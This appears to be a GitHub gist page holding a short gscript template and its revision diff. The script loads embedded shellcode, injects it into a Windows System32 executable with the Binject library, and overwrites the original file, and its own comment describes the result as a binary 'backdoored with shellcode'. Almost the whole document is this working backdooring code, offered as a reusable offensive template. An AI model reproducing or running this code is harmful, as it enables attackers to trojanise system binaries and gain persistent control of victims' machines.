Skip to content

Instantly share code, notes, and snippets.

@ahhh

ahhh/binjection_example.gs

Created July 2, 2020 23:32
Download ZIP

Revisions

  1. ahhh revised this gist Jul 2, 2020. 1 changed file with 2 additions and 2 deletions.
    4 changes: 2 additions & 2 deletions binjection_example.gs
    View file
    Original file line number Diff line number Diff line change
    @@ -1,7 +1,7 @@
    // Example gscript template
    // Title: Merlin Example
    // Title: Binjection Example
    // Author: ahhh
    // Purpose: Drops merlin as an asset and executes it async
    // Purpose: Replaces an existing binary with a copy that has been backdoored with shellcode
    // Gscript version: 1.0.0
    // ATT&CK:

  2. ahhh created this gist Jul 2, 2020.
    32 changes: 32 additions & 0 deletions binjection_example.gs
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,32 @@
    // Example gscript template
    // Title: Merlin Example
    // Author: ahhh
    // Purpose: Drops merlin as an asset and executes it async
    // Gscript version: 1.0.0
    // ATT&CK:

    //priority:150
    //timeout:150
    //import:/tmp/loader.bin
    //go_import:github.com/Binject/gbj as gbj

    function Deploy() {

    var target_path = "C:\\\\Windows\\System32\\target_binary.exe";


    // Getting our asset
    var shellcode = GetAssetAsBytes("loader.bin");
    console.log("errors: "+shellcode[1]);

    var target_file = G.file.ReadFileAsBytes(target_path);
    console.log("errors: "+target_file[1]);

    var injected = gbj.PeBinject(target_file[0], shellcode[0])
    console.log("errors: "+injected[1]);

    errors = G.file.WriteFileFromBytes(target_path, injected[0]);
    console.log("errors: "+errors);

    return true
    }